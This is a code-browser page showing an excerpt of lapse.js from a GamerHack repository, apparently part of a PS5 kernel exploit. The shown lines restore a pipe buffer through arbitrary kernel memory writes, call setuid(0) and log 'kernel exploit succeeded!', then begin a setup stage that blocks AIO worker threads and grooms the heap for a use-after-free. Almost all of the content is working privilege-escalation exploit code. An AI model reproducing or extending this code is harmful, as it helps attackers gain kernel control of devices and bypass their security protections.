MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / setup

Function setup

g2all/700/lapse.js:1653–1678  ·  view source on GitHub ↗
(block_fd)

Source from the content-addressed store, hash-verified

1651 for (let off = 0; off < 0x18; off += 8) {
1652 kmem.write64(kpipe.add(off), pipe_save.read64(off));
1653 }
1654 log('pipebuf restored');
1655
1656 log('setuid(0)');
1657 sysi('setuid', 0);
1658 log('kernel exploit succeeded!');
1659 localStorage.ExploitLoaded = "yes";
1660 sessionStorage.ExploitLoaded = "yes";
1661}
1662
1663// FUNCTIONS FOR STAGE: SETUP
1664
1665function setup(block_fd) {
1666 // this part will block the worker threads from processing entries so that
1667 // we may cancel them instead. this is to work around the fact that
1668 // aio_worker_entry2() will fdrop() the file associated with the aio_entry
1669 // on ps5. we want aio_multi_delete() to call fdrop()
1670 log("block AIO");
1671 const reqs1 = new Buffer(0x28 * num_workers);
1672 const block_id = new Word();
1673
1674 for (let i = 0; i < num_workers; i++) {
1675 reqs1.write32(8 + i * 0x28, 1);
1676 reqs1.write32(0x20 + i * 0x28, block_fd);
1677 }
1678 aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);
1679
1680 log("heap grooming");
1681 // chosen to maximize the number of 0x80 malloc allocs per submission

Callers 1

kexploitFunction · 0.70

Calls 6

logFunction · 0.90
aio_submit_cmdFunction · 0.70
make_reqs1Function · 0.70
spray_aioFunction · 0.70
cancel_aiosFunction · 0.70
write32Method · 0.45

Tested by

no test coverage detected